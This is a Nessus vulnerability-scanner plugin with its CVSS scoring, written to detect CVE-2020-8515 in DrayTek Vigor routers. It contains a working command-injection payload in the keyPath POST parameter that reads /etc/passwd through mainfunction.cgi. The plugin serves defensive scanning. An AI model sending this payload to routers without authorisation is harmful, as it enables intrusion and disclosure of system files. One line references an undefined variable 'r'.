CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
99.9%
Nessus was able to exploit an un-authenticated remote command execution vulnerability on the web adminstration UI on the remote router and was able to retrieve the contents of /etc/passwd.
#
# (C) Tenable Network Security, Inc.
#
include('compat.inc');
if (description)
{
script_id(141781);
script_version("1.6");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/12/05");
script_cve_id("CVE-2020-8515");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");
script_xref(name:"CEA-ID", value:"CEA-2020-0129");
script_name(english:"DrayTek Vigor < 1.5.1 Unauthenticated RCE (Direct Check)");
script_set_attribute(attribute:"synopsis", value:
"The remote router is affected by an unauthenticated remote command execution vulnerability.");
script_set_attribute(attribute:"description", value:
"Nessus was able to exploit an un-authenticated remote command execution vulnerability
on the web adminstration UI on the remote router and was able to retrieve the contents
of /etc/passwd.");
# https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56fb076c");
script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.5.1 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2020-8515");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2020/02/01");
script_set_attribute(attribute:"patch_publication_date", value:"2020/02/10");
script_set_attribute(attribute:"plugin_publication_date", value:"2020/10/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"x-cpe:/h:draytek:vigor");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("draytek_vigor_detect.nbin");
script_require_keys("Host/DrayTek/Vigor");
exit(0);
}
include('http.inc');
if (!get_kb_item('Host/DrayTek/Vigor')) audit(AUDIT_HOST_NOT, 'DrayTek Vigor');
model = get_kb_item_or_exit('Host/DrayTek/Vigor/model');
if(model !~ "^[Vv]igor(300[Bb]|2960|3900)")
audit(AUDIT_HOST_NOT, 'affected');
port = get_http_port(default:443, embedded:TRUE);
params = 'action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a';
res = http_send_recv3(
item : '/cgi-bin/mainfunction.cgi',
method : 'POST',
port : port,
follow_redirect : 1,
content_type : 'application/x-www-form-urlencoded',
exit_on_fail : TRUE,
data : params
);
if(egrep(string:res[2], pattern:"root:.*:0:[01]:"))
{
contents = res[2] - strstr(r[2], "<br />");
if (isnull(contents)) security_report_v4(port:port, severity:SECURITY_HOLE);
else
{
contents = data_protection::redact_etc_passwd(output:contents);
report = '\n';
report += 'Here are the duplicated contents of the file "/etc/passwd" that\n';
report += 'Nessus was able to read from the remote host :\n\n';
report += contents;
security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);
}
exit(0);
}
else
{
audit(AUDIT_HOST_NOT, 'affected');
}
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
99.9%